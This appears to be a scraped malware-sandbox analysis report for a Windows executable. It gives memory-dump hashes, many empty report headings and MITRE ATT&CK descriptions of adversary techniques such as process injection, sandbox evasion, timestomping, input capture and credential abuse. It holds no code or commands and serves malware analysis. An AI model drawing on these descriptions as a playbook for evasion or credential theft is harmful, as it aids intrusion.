Source File: 0000001B.00000002.484494546.00000000053E0000.00000040.00000001.sdmp, Offset: 053E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_53e0000_B217.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15c84b8a113f097352ca4e5457f8826d908233b8ac74bdcf708f02de92806981
Instruction ID: 819101dcd39e7438218d24b556ac8a90cf7ff55432c1c4935abb3a7d17cfb6c8
Opcode Fuzzy Hash: 15c84b8a113f097352ca4e5457f8826d908233b8ac74bdcf708f02de92806981
Instruction Fuzzy Hash: EFA0023556911CC7459589B1758A074BB6DD381216B0607C9FD0E49940EE135D245A8D

Uniqueness

Uniqueness Score: -1.00%

Function 053EE042, Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.484494546.00000000053E0000.00000040.00000001.sdmp, Offset: 053E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_53e0000_B217.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb987608feaa273daf3b29cda3a81c853d87228b9d8b6df40f15aca7b5e9fc25
Instruction ID: f20a616065ee206004f3ce4b2565ca6354dc97436a0c59c9508d56468abab2d9
Opcode Fuzzy Hash: eb987608feaa273daf3b29cda3a81c853d87228b9d8b6df40f15aca7b5e9fc25
Instruction Fuzzy Hash: 13A0023556A11CC7455689A1744E434FBADD38121AB094BC5FD0E49940DE134C25568D

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	AWS CloudTrail logs, Authentication logs, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse shared modules to execute malicious payloads. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like `CreateProcess` , `LoadLibrary` , etc. of the Win32 API.
Tactics:	Execution
Data Sources:	API monitoring, DLL monitoring, File monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and Reg .
Tactics:	Persistence, Privilege Escalation
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report ZA3cYU28Yl.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Overview

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Jbx Signature Overview

AV Detection:

Cryptography:

Compliance:

Spreading:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Spam, unwanted Advertisements and Ransom Demands:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Lowering of HIPS / PFW / Operating System Security Settings:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre